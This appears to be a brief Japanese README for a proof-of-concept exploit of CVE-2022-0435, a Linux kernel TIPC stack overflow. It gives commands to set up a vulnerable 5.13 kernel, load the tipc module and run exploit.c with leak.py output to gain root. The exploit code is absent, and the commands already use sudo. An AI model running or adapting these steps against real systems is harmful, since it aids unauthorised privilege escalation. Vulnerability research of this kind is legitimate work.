CVE-2022-0435-Poc

CVE-2022-0435(スタックオーバーフロー)

wget https://releases.ubuntu.com/jammy/ubuntu-22.04.5-live-server-amd64.iso

mkdir kernel

wget https://kernel.ubuntu.com/mainline/v5.13/amd64/linux-headers-5.13.0-051300-generic_5.13.0-051300.202106272333_amd64.deb

wget https://kernel.ubuntu.com/mainline/v5.13/amd64/linux-headers-5.13.0-051300_5.13.0-051300.202106272333_all.deb

wget https://kernel.ubuntu.com/mainline/v5.13/amd64/linux-image-unsigned-5.13.0-051300-generic_5.13.0-051300.202106272333_amd64.deb

wget https://kernel.ubuntu.com/mainline/v5.13/amd64/linux-modules-5.13.0-051300-generic_5.13.0-051300.202106272333_amd64.deb

wget http://archive.ubuntu.com/ubuntu/pool/main/o/openssl/libssl1.1_1.1.1f-1ubuntu2_amd64.deb

sudo dpkg -i *.deb

再起動して 5.13.0-051300-generic を選択

exploit.c と leak.py をロード

sudo modprobe tipc

sudo ./exploit $(sudo python3 leak.py)

root 権限を取得